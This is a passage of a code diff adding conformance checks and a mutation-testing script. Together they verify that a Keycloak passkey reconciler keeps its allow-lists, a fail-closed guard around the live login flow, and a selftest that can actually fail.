+             if "/users" in p or "/groups" in p or "/roles" in p or "/clients" in p]
+    check(not stray,
+          f"{RECON_FILE}: the allow-list reaches {stray}. Users, groups and roles must "
+          f"be unreachable (prod's real user and the media-users / platform-admins / "
+          f"viewers groups must survive every run); clients are the SIBLING "
+          f"reconciler's surface and the two must not overlap")
+
+# ---- (d) THE PROTECTED-SUBTREE GUARD EXISTS, IS WIRED, AND IS FAIL-CLOSED ----------
+# Asserted against the SOURCE, because this is the property the blue/green design rests
+# on and a comment claiming it is worth nothing. Three things must all be true.
+check(re.search(r"^def _screen_write\(", script, re.M) is not None,
+      f"{RECON_FILE}: the script has no _screen_write() function. That is the guard "
+      f"that refuses any flow write targeting the CURRENTLY BOUND flow's subtree — the "
+      f"one thing the allow-list cannot express, because its write entries are "
+      f"alias-parameterised. Without it this component can mutate the live login path")
+# It must be CALLED from the single choke point, not merely defined.
+check(re.search(r"_screen_write\(method, path", script) is not None,
+      f"{RECON_FILE}: _screen_write() is defined but never called from _http() with the "
+      f"request's method and path. A guard that is not on the request path is decoration")
+# FAIL-CLOSED: the protected sets must start undetermined, and the reset that runs at
+# the top of every run must put them back there.
+reset_fn = re.search(r"def _reset_protected\(\):(.*?)(?=\n\S)", script, re.S)
+check(reset_fn is not None
+      and "_PROTECTED_FLOW_ALIASES = None" in reset_fn.group(1)
+      and "_PROTECTED_EXECUTION_IDS = None" in reset_fn.group(1),
+      f"{RECON_FILE}: _reset_protected() does not set both protected sets to None. They "
+      f"must start each run UNDETERMINED, because while they are, every flow write is "
+      f"refused — that is the fail-closed half of the guard, and it is what stops a "
+      f"build running before the live binding has been read")
+check(re.search(r"_reset_protected\(\)", script.split("def _selftest")[0]) is not None,
+      f"{RECON_FILE}: _reset_protected() is never called outside the selftest, so the "
+      f"protected sets are not reset per run and a previous run's binding could be "
+      f"trusted for this one")
+# The create-flow endpoint carries NO alias in its path, so it must be screened on its
+# BODY or it escapes the guard entirely. (Found by the selftest; recorded here so a
+# future edit cannot silently undo it.)
+check("_FLOW_CREATE_PATH" in script,
+      f"{RECON_FILE}: there is no separate screen for POST .../authentication/flows. "
+      f"That endpoint carries no alias in its path — the alias is in the request BODY — "
+      f"so without a body-based screen it bypasses the protected-subtree guard "
+      f"altogether")
+# And the one function allowed to change the live binding must be distinct from the
+# policy write, which must refuse to.
+# FINDING 2026-10-29: sub-flows are named by displayName in 26.0.6 (recurseExecutions
+# never sets `alias` on a sub-flow row). Reading `alias` shrank the protected subtree to
+# the top-level flow alone while every selftest passed against a stub that returned it.
+check(re.search(r'^def subflow_alias\(ex\):\n(?:.*\n)*?    name = ex\.get\("displayName"\)',
+                script, re.M) is not None,
+      f"{RECON_FILE}: subflow_alias() no longer reads displayName. Keycloak 26.0.6's "
+      f"executions listing names a sub-flow ONLY by displayName; reading `alias` yields "
+      f"None and the protected subtree silently shrinks to the top-level flow")
+# FINDING 2026-10-29: the requirement PUT's real target is body["id"].
+check("_EXEC_UPDATE_PATH" in script and "_BUILD_EXECUTION_IDS" in script,
+      f"{RECON_FILE}: the requirement PUT (PUT /flows/<alias>/executions) is no longer "
+      f"screened on its body id. updateExecutions resolves the execution realm-wide by id "
+      f"and ignores the path alias, so a path-only screen lets it write the bound flow")
+check("def declared_bind(" in script and "BIND_FILE" in script,
+      f"{RECON_FILE}: the reconciler no longer reads git's bind-browser-flow switch")
+check("def bind_browser_flow(" in script,
+      f"{RECON_FILE}: there is no bind_browser_flow() function. The atomic flip must be "
+      f"one named, auditable operation, not an incidental field in some other write")
+check(re.search(r"never rebinds the browser flow", script) is not None,
+      f"{RECON_FILE}: the policy write no longer refuses to change browserFlow. "
+      f"PUT /admin/realms/<realm> DOES read rep.getBrowserFlow(), so the policy pass "
+      f"can rebind the login path by accident — to an UNVERIFIED flow")
+
+# ======================================== (7) the SIBLING reconciler is NOT widened
+if (ROOT / SIBLING_FILE).is_file():
+    sib_docs = [d for d in load(SIBLING_FILE) if d]
+    sib_cm = next((d for d in sib_docs if d.get("kind") == "ConfigMap"), None)
+    sib_script = next(iter((sib_cm.get("data") or {}).values()), "") if sib_cm else ""
+    sib_allow = tuple_literal(sib_script, "_ALLOWED") or ()
+    check(bool(sib_allow),
+          f"{SIBLING_FILE}: could not parse its _ALLOWED list, so this check cannot "
+          f"prove the sibling was not widened")
+    if sib_allow:
+        # The sibling's list is PATH-ONLY by design. Its selftest asserts it refuses the
+        # whole-realm endpoint and the /authentication tree; assert the same here so a
+        # future edit that "just adds the realm endpoint there instead" is caught.
+        bad = [p for p in sib_allow
+               if isinstance(p, str)
+               and (re.fullmatch(r"/admin/realms/\[\^/\]\+", p)
+                    or "authentication" in p or "/users" in p or "/groups" in p
+                    or "/roles" in p)]
+        check(not bad,
+              f"{SIBLING_FILE}: its allow-list was WIDENED to {bad}. That reconciler's "
+              f"stated guarantee — prod's real user and the media-users / "
+              f"platform-admins / viewers groups survive every run — is expressed as "
+              f"endpoints it CANNOT reach, and its own --selftest asserts the refusal of "
+              f"/users, /groups, /roles, /authentication and the whole-realm endpoint. "
+              f"The passkey work is a SIBLING program with its own narrow list precisely "
+              f"so that guarantee stays literally true. Revert the widening")
+
+# ============================== (8) the reconciler's BEHAVIOUR, proven by its selftest
+if script:
+    with tempfile.TemporaryDirectory() as td:
+        p = Path(td) / "reconcile.py"
+        p.write_text(script)
+        proc = subprocess.run([sys.executable, str(p), "--selftest"],
+                              capture_output=True, text=True, timeout=300)
+        tail = (proc.stdout + proc.stderr).strip().splitlines()
+        check(proc.returncode == 0,
+              "the passkey reconciler's --selftest FAILED (compare-then-write / "
+              "idempotence / strict read-modify-write / the RpEntityName gate / "
+              "flow-is-unwritable / the conditional-OTP regression / fail-closed):\n"
+              "        " + "\n        ".join(tail[-14:]))
+        if proc.returncode == 0:
+            print("  passkey reconciler --selftest: " + (tail[-1] if tail else "(none)"))
+
+        # ---- (8b) THE SELFTEST IS FALSIFIABLE, not decorative ----------------------
+        # A passing suite proves nothing unless it can be shown to FAIL. mutations.py
+        # injects plausible regressions one at a time -- a partial policy PUT, a
+        # rebind of browserFlow, a widened allow-list that makes the flow writable, a
+        # fail-open on an unreadable input -- and requires --selftest to catch every
+        # one. This matters more than usual here: the whole incident class is a
+        # component that REPORTED SUCCESS while the realm was broken, and a green test
+        # that cannot fail is the same lie one level up.
+        mut = DIR_PATH / "mutations.py"
+        if mut.is_file():
+            mproc = subprocess.run([sys.executable, str(mut), str(p)],
+                                   capture_output=True, text=True, timeout=900)
+            mtail = (mproc.stdout + mproc.stderr).strip().splitlines()
+            check(mproc.returncode == 0,
+                  "the passkey reconciler's --selftest is NOT FALSIFIABLE — at least "
+                  "one injected regression survived it, so the suite does not prove "
+                  "what it claims:\n        " + "\n        ".join(mtail[-16:]))
+            if mproc.returncode == 0:
+                print("  passkey reconciler mutations: "
+                      + (mtail[-1] if mtail else "(no output)"))
+        else:
+            check(False,
+                  "conformance/tests/l0-static/keycloak-passkey-reconciler/mutations.py "
+                  "is missing — nothing proves the --selftest can fail, and an "
+                  "unfalsifiable proof is the failure mode this component exists to end")
+
+# ======================================================= (9) this check is load-bearing
+L0 = (ROOT / "ci" / "l0.sh").read_text() if (ROOT / "ci" / "l0.sh").is_file() else ""
+GATE = (ROOT / "ci" / "gate.sh").read_text() if (ROOT / "ci" / "gate.sh").is_file() else ""
+TOUCHED = ((ROOT / "ci" / "touched-requirements.sh").read_text()
+           if (ROOT / "ci" / "touched-requirements.sh").is_file() else "")
+SELF_YAML = DIR_PATH / "chainsaw-test.yaml"
+SELF = SELF_YAML.read_text() if SELF_YAML.is_file() else ""
+check(re.search(r'^\s*conformance\.home\.k3s/scope:\s*["\']?whole-repo', SELF, re.M)
+      is not None,
+      "keycloak-passkey-reconciler/chainsaw-test.yaml does not declare "
+      'conformance.home.k3s/scope: "whole-repo", so the merge gate selects this check '
+      "only when a change happens to attribute one of the requirements it is labelled "
+      "with. This invariant spans platform/, platform-config/, ci/ and clusters/, so a "
+      "change that breaks it need not attribute R-IDP-03/04 — which is how 12 unusable "
+      "prod OIDC clients sat behind an entirely green cluster on 2026-09-06")
+check("--include-scope" in L0,
+      "ci/l0.sh no longer passes --include-scope to the conformance runner, so the L0 "
+      "stage is a purely requirement-scoped run again and the scope annotation is inert "
+      "decoration — this check would then run only by coincidence")
+check(re.search(r"^for s in .*\bl0\b.*; do", GATE, re.M)
+      and re.search(r"fail\).*BLOCK=1", GATE),
+      "ci/gate.sh does not set the merge block when the l0 stage fails")
+check(re.search(r"^\s*platform/keycloak/\*\)", TOUCHED, re.M),
+      "ci/touched-requirements.sh has no platform/keycloak/* arm, so editing the realm "
+      "import or the reconciler would attribute NO requirement and the keycloak tests "
+      "would be filtered out of the merge gate's touched subset")
+
+# =============================================================================
+if failures:
+    print("CHECK FAIL: %d assertion(s) failed" % len(failures), file=sys.stderr)
+    for f in failures:
+        print("  FAIL %s" % f, file=sys.stderr)
+    raise SystemExit(1)
+print("keycloak-passkey-reconciler: all assertions passed "
+      "(desired state derived from the realm import, one substitution pass, write "
+      "surfaces agree, the BOUND flow is unwritable and fail-closed, nothing is "
+      "deletable, sibling allow-list unwidened, selftest green and falsifiable)")
+PY

conformance/tests/l0-static/keycloak-passkey-reconciler/mutations.py

@@ -0,0 +1,516 @@
+#!/usr/bin/env python3
+# =============================================================================
+# mutations.py -- prove the passkey reconciler's --selftest IS FALSIFIABLE.
+#
+# WHY THIS EXISTS
+# ---------------
+# A selftest that passes proves nothing on its own: a selftest asserting `True ==
+# True` also passes. This reconciler exists because a one-shot realm import
+# REPORTED SUCCESS while the realm was never converged (Done=True / Started=False
+# with the whole passkey block inert, measured on prod 2026-10-18), and the same
+# trap applies one level up -- a green test suite that cannot fail is the same lie
+# in a different place.
+#
+# It matters more here than for the sibling client reconciler, because this program
+# CONSTRUCTS AUTHENTICATION FLOWS and then REBINDS THE REALM'S LOGIN PATH. An
+# untested safety property on that surface is not a documentation gap, it is an
+# outage waiting for a schedule tick.
+#
+# So this injects a series of PLAUSIBLE regressions into the shipped script, one at
+# a time, and requires that --selftest FAILS for every one. A mutation that
+# SURVIVES means the suite does not actually check that property, and the check
+# fails, naming it.
+#
+# THE FIRST SIX ARE THE BLUE/GREEN SAFETY ARGUMENT ITSELF. The design builds a new
+# flow under an unused alias, verifies it, and flips `browserFlow` in one atomic
+# write -- never mutating the flow users are logging in through. Each of those
+# properties is enforced in code; these mutations are the proof that the enforcement
+# is load-bearing rather than commentary. Several model the obvious "simplification"
+# someone will propose:
+#   * "just build it under the declared alias, the suffix is ugly"
+#   * "bind it first, then check -- the check is just belt and braces"
+#   * "the protected-alias screen is redundant, the allow-list covers it"
+# Every one of those would be a total SSO outage waiting to happen.
+#
+# ANCHORS ARE AUTHORED AGAINST THE EXTRACTED SCRIPT, not against the YAML manifest.
+# The sibling mutations.py dedents by four because its anchors are copied out of the
+# ConfigMap block scalar; these are copied out of the script as `python3 -` sees it,
+# which is one less transformation to get wrong. check.sh passes the extracted file,
+# so what is proven falsifiable is byte-for-byte what runs on the cluster either way.
+#
+#   python3 mutations.py <path-to-extracted-reconciler.py>
+#
+# Runtime is ~85s serial (one subprocess per mutation, each running the full selftest
+# against an in-process stub Keycloak; no network, no cluster). The selftests run in a
+# bounded pool (env MUTATION_JOBS, default min(8, CPUs); 1 = serial); output order and
+# verdicts are independent of the pool size.
+# =============================================================================
+from __future__ import annotations
+
+import os
+import re
+import subprocess
+import sys
+import tempfile
+from concurrent.futures import ThreadPoolExecutor
+from pathlib import Path
+
+# (name, the mistake being modelled, anchor, replacement)
+MUTATIONS: list[tuple[str, str, str, str]] = [
+    # ---------------------------------------------------------------- blue/green safety
+    ("build INTO the currently bound flow",
+     "'the suffix is ugly, just build under the declared alias' -- every "
+     "create-execution and set-requirement call would then land on the flow users are "
+     "logging in through, and a run dying part-way leaves a HALF-BUILT LOGIN PATH for "
+     "every SSO app and kubectl. This is the single regression the whole design exists "
+     "to make impossible",
+     "    def mapped(alias):\n"
+     "        return \"%s-%s\" % (alias, suffix)",
+     "    def mapped(alias):\n        return alias"),
+
+    ("the protected-subtree screen is never called",
+     "'the allow-list already covers it' -- it does not: the allow-list's write entries "
+     "are alias-parameterised, so only this screen can say 'but not the flow that is "
+     "bound'. Without it the reconciler may write anywhere in the authentication tree",
+     "    _screen_write(method, path, body if isinstance(body, dict) else None)",
+     "    pass"),
+
+    ("the per-run reset makes the protected sets EMPTY, not UNDETERMINED",
+     "reset them to frozenset() so the code reads more simply -- it silently removes "
+     "the fail-closed property, so a build that ran before the live binding had been "
+     "read would be PERMITTED, and could write straight into the live flow. (The "
+     "module-level initial value is deliberately NOT the anchor here: run() resets "
+     "these at the start of every run, so the initialiser is unreachable and mutating "
+     "it would prove nothing.)",
+     "    global _PROTECTED_FLOW_ALIASES, _PROTECTED_EXECUTION_IDS, _BUILD_EXECUTION_IDS\n"
+     "    _PROTECTED_FLOW_ALIASES = None\n"
+     "    _PROTECTED_EXECUTION_IDS = None",
+     "    global _PROTECTED_FLOW_ALIASES, _PROTECTED_EXECUTION_IDS, _BUILD_EXECUTION_IDS\n"
+     "    _PROTECTED_FLOW_ALIASES = frozenset()\n"
+     "    _PROTECTED_EXECUTION_IDS = frozenset()"),
+
+    ("bind BEFORE verifying the build",
+     "'bind it first, the readback is just belt and braces' -- it is not: the readback "
+     "is what catches a build that was accepted but came out wrong, including the "
+     "conditional-OTP config landing under the wrong key. Binding first makes that the "
+     "live login path before anyone notices",
+     "    verify = compare_shape(final_shape, expected, base, realm, token, configs,\n"
+     "                           \"the newly built flow %r\" % target)",
+     "    verify = []"),
+
+    ("a failed build is reported as SUCCESS",
+     "swallow the build error and return a converged result -- the realm is then left "
+     "on the old flow (which blue/green makes safe) but the run says it converged, so "
+     "nobody ever learns the passkey flow was never built. That is the one-shot "
+     "import's fail-open, reintroduced. NOTE: simply removing the early return here "
+     "is NOT a regression -- verify-before-bind catches a half-built flow anyway, which "
+     "is defence in depth working as intended -- so the mutation targets the reporting",
+     "            problems.append(\n"
+     "                \"flow: building %r FAILED (%s). Nothing was bound, so login is \"\n"
+     "                \"UNAFFECTED -- the old flow is still live. The partial flow is left in \"\n"
+     "                \"place, unbound and harmless\" % (candidate, e))\n"
+     "            return 0, problems",
+     "            return 1, []"),
+
+    ("an existing candidate flow is reused WITHOUT verifying it",
+     "'if the alias exists we already built it' -- a half-built leftover from a crashed "
+     "run lives under exactly that alias, so this binds a partially constructed login "
+     "path",
+     "            if cand_shape is not None and not compare_shape(\n"
+     "                    cand_shape, expected, base, realm, token, configs,\n"
+     "                    \"the existing flow %r\" % candidate):",
+     "            if cand_shape is not None:"),
+
+    # ------------------------------------- 2026-10-29 review findings, each made falsifiable
+    ("sub-flows identified by `alias` again",
+     "read `alias` off a sub-flow row, as the first version did -- Keycloak 26.0.6's "
+     "recurseExecutions sets only displayName (and flowId) on a sub-flow row, so every "
+     "sub-flow resolves to nothing and the protected subtree is the top-level flow alone: "
+     "a write into browser-mfa-forms would NOT be refused",
+     "    name = ex.get(\"displayName\")\n"
+     "    return name if isinstance(name, str) and name else None",
+     "    name = ex.get(\"alias\")\n"
+     "    return name if isinstance(name, str) and name else None"),
+
+    ("an unnameable sub-flow is tolerated",
+     "carry on when a sub-flow row has no displayName -- the protected subtree is then "
+     "SMALLER than the live tree, which is the fail-open the guard exists to prevent",
+     "            if name is None:\n"
+     "                return None, None",
+     "            if name is None:\n"
+     "                name = \"\""),
+
+    ("the requirement PUT is screened on its path only",
+     "trust the alias in PUT /flows/<alias>/executions -- updateExecutions resolves "
+     "body.id realm-wide and never checks it belongs to <alias>, so a candidate alias in "
+     "the path can carry a BOUND execution's id in the body",
+     "        targets.append((\"execution\", (body or {}).get(\"id\")))",
+     "        pass"),
+
+    ("execution-addressed writes are not held to the build tree",
+     "'outside the bound subtree is enough' -- it is not: every OTHER flow in the realm is "
+     "outside it too, so a stray id would edit an unrelated flow",
+     "        if what == \"execution\" and (_BUILD_EXECUTION_IDS is None\n"
+     "                                    or target not in _BUILD_EXECUTION_IDS):",
+     "        if False:"),
+
+    ("the requirement PUT may carry any key",
+     "let the body carry flowId / displayName -- the same handler then RENAMES whatever "
+     "flow flowId names, bound or not",
+     "        if extra:\n"
+     "            raise Refused(",
+     "        if False:\n"
+     "            raise Refused("),
+
+    ("git's bind switch is ignored",
+     "bind whenever verification passes, as the first version did -- the first live use of "
+     "an untested login flow becomes a schedule tick, and an operator's rollback is "
+     "undone within 15 minutes, forever",
+     "    bind = git_bind and not no_bind",
+     "    bind = not no_bind"),
+
+    ("bind=false still binds inside the flow pass",
+     "keep the flag but forget to honour it where the bind happens",
+     "    if not bind:\n"
+     "        # THE BIND SWITCH IS OFF.",
+     "    if False:\n"
+     "        # THE BIND SWITCH IS OFF."),
+
+    ("an absent bind switch means bind",
+     "default to true when the key is missing -- a ConfigMap predating the switch, or a "
+     "deleted line, would silently put an untested flow live",
+     "    except FileNotFoundError:\n"
+     "        return False",
+     "    except FileNotFoundError:\n"
+     "        return True"),
+
+    ("an invalid bind switch is guessed at",
+     "read anything that is not \"true\" as false -- a typo then passes silently instead of "
+     "stopping the run, and the operator believes the flow is live",
+     "    if raw == \"false\":\n"
+     "        return False\n"
+     "    raise ValueError(",
+     "    return False\n"
+     "    raise ValueError("),
+
+    ("bind=false rebuilds beside a hand-edited bound flow",
+     "treat the hand-edited bound candidate as a 'half-built leftover' -- with the switch "
+     "off this builds an -r2 next to the operator's hotfix on every tick",
+     "        if candidate in have and candidate == bound and not bind:",
+     "        if False:"),
+
+    # ------------------------------------------------------------------- idempotence
+    ("sub-flow aliases are compared as names",
+     "compare the sub-flow alias like any other field -- the flows this program builds "
+     "carry a hash suffix on every alias, so a built flow could NEVER be recognised as "
+     "converged: it would be rebuilt and the login path reflipped every fifteen "
+     "minutes, forever",
+     "            out.append((level, ex[\"kind\"], \"\" if is_flow else ex[\"name\"],\n"
+     "                        ex[\"requirement\"], ex.get(\"configAlias\") or \"\", ex[\"name\"]))",
+     "            out.append((level, ex[\"kind\"], ex[\"name\"],\n"
+     "                        ex[\"requirement\"], ex.get(\"configAlias\") or \"\", ex[\"name\"]))"),
+
+    ("the converged short-circuit is removed",
+     "drop the 'bound flow already matches git' early return -- every run rebuilds and "
+     "reflips, which is a permanent write loop against the IdP and churns the realm's "
+     "login path on a schedule",
+     "        if not drift:\n"
+     "            log(\"flow     ok (the bound flow %r matches git: %d execution(s), no \"\n"
+     "                \"write)\" % (bound, len(expected)))\n"
+     "            return 0, problems",
+     "        if False:\n            return 0, problems"),
+
+    ("the execution priority is dropped from the requirement write",
+     "omit `priority` from the body -- Keycloak's updateExecutions deserialises a "
+     "missing int as 0 and compares it against the stored priority, so this RESHUFFLES "
+     "the execution order while only a requirement change was intended. The passkey "
+     "branch would end up in the wrong place in the tree",
+     "            body={\"id\": ex.get(\"id\"), \"requirement\": want_req,\n"
+     "                  \"priority\": ex.get(\"priority\") or 0})",
+     "            body={\"id\": ex.get(\"id\"), \"requirement\": want_req})"),
+
+    ("the alias budget is unbounded",
+     "loop forever looking for a free alias -- a persistently failing build then creates "
+     "unbounded flow sprawl in the realm, and nothing here can delete any of it",
+     "    for attempt in range(1, MAX_BUILD_ATTEMPTS + 1):",
+     "    for attempt in range(1, 10000):"),
+
+    ("fail-open when the bound flow cannot be read",
+     "carry on when the live flow's executions are unreadable -- the program then cannot "
+     "know which flows are live, so it cannot prove a build would miss them, and it "
+     "would build with the protected sets still undetermined",
+     "            return 0, [\n"
+     "                \"flow: the realm binds browserFlow to %r but its executions could not \"\n"
+     "                \"be read, so this program cannot establish which flows are live. Flow \"\n"
+     "                \"writes stay FAIL-CLOSED for this run -- nothing was built or bound\"\n"
+     "                % bound]",
+     "            _set_protected(set(), set())\n            bound_shape, bound_raw = None, None"),
+
+    # ------------------------------------------------------- the conditional-OTP regression
+    ("authenticator config contents no longer compared",
+     "check only that a config is BOUND, not what it says -- this is THE conditional-OTP "
+     "regression: the original bug wrote the role under "
+     "`condition.evaluated.user.role` instead of `condUserRole`, so the role resolved "
+     "to null, the REQUIRED conditional step threw 'Invalid role name submitted: null' "
+     "and every platform-admin got a 403 from every SSO-gated app",
+     "            if str(have_cfg.get(key)) != str(want_cfg[key]):",
+     "            if False:"),
+
+    ("undeclared config keys are ignored",
+     "stop reporting keys the realm holds and git does not -- the stale "
+     "`condition.evaluated.user.role` key is the signature of the original null-role "
+     "bug, and a flow carrying both keys would look correct",
+     "        extra = sorted(k for k in have_cfg if k not in want_cfg)",
+     "        extra = []"),
+
+    ("flow structure divergence detected but not reported",
+     "leave the per-step comparison out -- the realm's login flow could be the old "
+     "pre-passkey shape forever and every run would report the realm converged, which "
+     "is the exact fail-open of the one-shot import this program replaces",
+     "        if observed[idx][:4] != expected[idx][:4]:",
+     "        if False:"),
+
+    ("the browserFlow BINDING is no longer compared",
+     "stop noticing that a correct flow is not the one bound -- a perfect, fully-built "
+     "passkey flow that nothing logs in through changes nothing at all",
+     "    if bound_shape is not None:\n"
+     "        drift = compare_shape(bound_shape, expected, base, realm, token, configs,",
+     "    if False:\n"
+     "        drift = compare_shape(bound_shape, expected, base, realm, token, configs,"),
+
+    # ------------------------------------------------------------- realm / policy writes
+    ("partial policy PUT instead of read-modify-write",
+     "send only the drifted policy keys -- Keycloak 26.0.6 rebuilds the WHOLE "
+     "passwordless policy from the representation and substitutes its own DEFAULT for "
+     "every key the body omits, so a partial PUT silently resets everything it did not "
+     "mention while returning 204",
+     "    body = dict(realm_rep)\n"
+     "    for key in drift:\n"
+     "        body[key] = wanted[key]",
+     "    body = {RP_ENTITY_NAME: realm_rep.get(RP_ENTITY_NAME),\n"
+     "            BROWSER_FLOW: realm_rep.get(BROWSER_FLOW)}\n"
+     "    for key in drift:\n"
+     "        body[key] = wanted[key]"),
+
+    ("the policy pass rebinds browserFlow as a side effect",
+     "'while we are here, let the policy write fix the flow binding too' -- the realm "
+     "PUT does read rep.getBrowserFlow(), so this is genuinely in reach, and it would "
+     "rebind the login path to an UNVERIFIED flow from a pass whose stated surface is "
+     "the passkey policy",
+     "    if body.get(BROWSER_FLOW) != realm_rep.get(BROWSER_FLOW):\n"
+     "        raise RuntimeError(",
+     "    body[BROWSER_FLOW] = \"browser\"\n"
+     "    if False:\n"
+     "        raise RuntimeError("),
+
+    ("the RpEntityName gate removed from desired-state validation",
+     "accept a desired state with an empty RpEntityName -- Keycloak 26.0.6 applies the "
+     "passwordless policy ONLY when that field is non-empty, so every realm PUT would "
+     "be accepted with 204 and change nothing: reported success, zero convergence",
+     "    if not policy.get(RP_ENTITY_NAME):\n"
+     "        raise ValueError(",
+     "    if False:\n        raise ValueError("),
+
+    ("the RpEntityName gate removed from the write path",
+     "drop the second, defence-in-depth guard -- it is unreachable while the "
+     "desired-state validation holds, which is exactly why deleting it would otherwise "
+     "be an invisible regression",
+     "    if not body.get(RP_ENTITY_NAME):\n"
+     "        raise RuntimeError(",
+     "    if False:\n        raise RuntimeError("),
+
+    ("no readback verification on the policy write",
+     "trust the 204 -- a server that accepts the PUT and does not apply it is reported "
+     "as REPAIRED, which is 'reports success while the realm never converged' again, "
+     "and it is precisely what the RpEntityName gate does when it is missed",
+     "    still = policy_drift(after, wanted)",
+     "    still = {}"),
+
+    ("AAGUID comparison made order-sensitive",
+     "compare the AAGUID allow-list in the order Keycloak returns it -- an allow-list "
+     "is a set membership test, so an order-sensitive comparison rewrites a CONVERGED "
+     "realm on every run forever while every run still reports success",
+     "            if stored != sorted(declared_value):\n"
+     "                drift[key] = (stored, sorted(declared_value))",
+     "            if stored != declared_value:\n"
+     "                drift[key] = (stored, declared_value)"),
+
+    ("signature-algorithm order treated as insignificant",
+     "sort the signature algorithms before comparing -- it is a PREFERENCE LIST handed "
+     "to the authenticator, so ES256-then-RS256 is not the same declaration as "
+     "RS256-then-ES256, and a reorder in the realm would never be corrected",
+     "            if stored != list(declared_value):",
+     "            if sorted(stored) != sorted(declared_value):"),
+
+    ("unmanaged policy keys forced to a value",
+     "iterate every writable key instead of only the declared ones -- a "
+     "webAuthnPolicyPasswordless field the realm holds and git does not declare would "
+     "be overwritten, turning 'not declared' into 'must equal my default'",
+     "    for key in sorted(wanted):\n        declared_value = wanted[key]",
+     "    for key in POLICY_FIELDS:\n        declared_value = wanted.get(key, \"\")"),
+
+    # ------------------------------------------------------------------ required actions
+    ("required-action PUT sends only the two drifted fields",
+     "a minimal body looks safer -- but updateRequiredAction REPLACES the provider from "
+     "the representation, so name, priority and config are all blanked: the enrolment "
+     "action keeps working but loses its priority and display name",
+     "    body = dict(rep)\n    for key in drift:\n        body[key] = wanted[key]",
+     "    body = {}\n    for key in drift:\n        body[key] = wanted[key]"),
+
+    ("the guarded default required actions are no longer audited",
+     "stop checking that CONFIGURE_TOTP / UPDATE_PASSWORD / delete_credential still "
+     "exist -- their disappearance is the signature of a requiredActions block in the "
+     "realm import, which 26.0.6 treats as REPLACE, and it is a silent permanent "
+     "lock-out of every platform-admin",
+     "    missing = [a for a in GUARDED_ACTIONS if a not in aliases]",
+     "    missing = []"),
+
+    # ----------------------------------------------------------------- inputs / coupling
+    ("the three passes are coupled",
+     "abort the run at the first failing pass -- a policy write that fails for an "
+     "unrelated reason would then suppress the browser-flow pass, which is the most "
+     "safety-critical thing here",
+     "        problems.extend(found)\n        if found:\n            rc = 1",
+     "        problems.extend(found)\n        if found:\n            rc = 1\n"
+     "            break"),
+
+    ("policy-key validation removed from the desired state",
+     "accept any realm key from the ConfigMap -- an arbitrary realm attribute becomes "
+     "writable through a file edit, so a hand-edited ConfigMap could set sslRequired, "
+     "bruteForceProtected or any other top-level realm field on the live IdP",
+     "        if key not in POLICY_FIELDS:",
+     "        if False:"),
+
+    ("fail-open on an unreadable desired state",
+     "treat a missing ConfigMap as 'nothing declared' -- the run reports success while "
+     "reconciling nothing, which is precisely the fail-open of the realm import this "
+     "whole component exists to replace",
+     "    if not isinstance(raw, dict) or not raw:\n"
+     "        raise ValueError(\"%s does not hold a non-empty JSON object\" % path)",
+     "    if not isinstance(raw, dict) or not raw:\n        return {}"),
+
+    ("an undeclared authenticatorConfig reference is tolerated",
+     "stop validating that every configAlias a flow references is actually declared -- "
+     "the build then fails at the config-binding step, AFTER flows and executions have "
+     "already been created, leaving leftovers on every run",
+     "            if ca and ca not in configs:\n"
+     "                raise ValueError(",
+     "            if False:\n                raise ValueError("),
+
+    ("the flow-cycle guard is removed",
+     "drop the `seen` check -- a cyclic flow declaration then recurses until the "
+     "interpreter dies, in a CronJob that retries",
+     "        if alias in seen:\n"
+     "            raise ValueError(\"flow %r is cyclic in the desired state\" % alias)",
+     "        if False:\n"
+     "            raise ValueError(\"flow %r is cyclic in the desired state\" % alias)"),
+]
+
+
+def mutation_jobs() -> int:
+    """Selftests to run at once: env MUTATION_JOBS, else min(8, usable CPUs).
+
+    conformance/lib/run_l1_offline.py exports a smaller MUTATION_JOBS when it is itself
+    running several checks in parallel, so the nested pools do not oversubscribe the host.
+    MUTATION_JOBS=1 reproduces the old serial loop exactly.
+    """
+    raw = os.environ.get("MUTATION_JOBS", "").strip()
+    if raw:
+        try:
+            n = int(raw)
+        except ValueError:
+            n = 0
+        if n < 1:
+            raise ValueError("MUTATION_JOBS must be a positive integer, got %r" % raw)
+        return n
+    try:
+        cpus = len(os.sched_getaffinity(0))
+    except (AttributeError, OSError):
+        cpus = os.cpu_count() or 1
+    return max(1, min(8, cpus))
+
+
+def run_selftest(mutated_src: str) -> subprocess.CompletedProcess:
+    with tempfile.NamedTemporaryFile("w", suffix=".py", delete=False) as fh:
+        fh.write(mutated_src)
+        path = fh.name
+    try:
+        return subprocess.run([sys.executable, path, "--selftest"],
+                              capture_output=True, text=True, timeout=300,
+                              stdin=subprocess.DEVNULL)
+    finally:
+        Path(path).unlink(missing_ok=True)
+
+
+def main() -> int:
+    if len(sys.argv) != 2:
+        print("usage: mutations.py <extracted-reconciler.py>", file=sys.stderr)
+        return 2
+    src = Path(sys.argv[1]).read_text()
+
+    try:
+        jobs = mutation_jobs()
+    except ValueError as e:
+        print("mutations.py: %s" % e, file=sys.stderr)
+        return 2
+
+    # Pass 1, serial and cheap: every anchor is checked BEFORE anything runs, exactly as the
+    # serial loop did, and each mutation's source is built here. None = anchor failure.
+    planned: list[tuple[str, str, str | None, str | None]] = []
+    for name, why, old, new in MUTATIONS:
+        # An anchor that no longer matches is a FAILURE, not a skip: it means the code
+        # moved and this mutation silently stopped proving anything.
+        n = src.count(old)
+        if n != 1:
+            planned.append((name, why,
+                            "%s: anchor matches %d times (expected exactly 1) -- the "
+                            "code moved and this mutation no longer proves anything. "
+                            "Re-anchor it against the current source." % (name, n), None))
+            continue
+        planned.append((name, why, None, src.replace(old, new, 1)))
+
+    # Pass 2: the selftests, `jobs` at a time. Each child gets its own temp file, its own
+    # mkdtemp dirs and its own 127.0.0.1:0 stub port, so they share nothing. Results are
+    # consumed in MUTATIONS order, so every line below is printed in the same order, with the
+    # same verdict, as the serial loop produced -- whichever child finishes first.
+    problems: list[str] = []
+    killed = 0
+    pool = ThreadPoolExecutor(max_workers=jobs)
+    try:
+        futures = [pool.submit(run_selftest, mutated) if mutated is not None else None
+                   for (_n, _w, _a, mutated) in planned]
+        for (name, why, anchor_problem, _m), fut in zip(planned, futures):
+            if anchor_problem is not None:
+                problems.append(anchor_problem)
+                continue
+            proc = fut.result()
+            if proc.returncode == 0:
+                problems.append("%s SURVIVED -- --selftest still passed with this regression "
+                                "applied, so nothing in the suite actually checks it. The "
+                                "mistake it models: %s" % (name, why))
+                continue
+            killed += 1
+            out = proc.stdout + proc.stderr
+            m = re.search(r"SELFTEST FAIL: (\d+) of \d+", out)
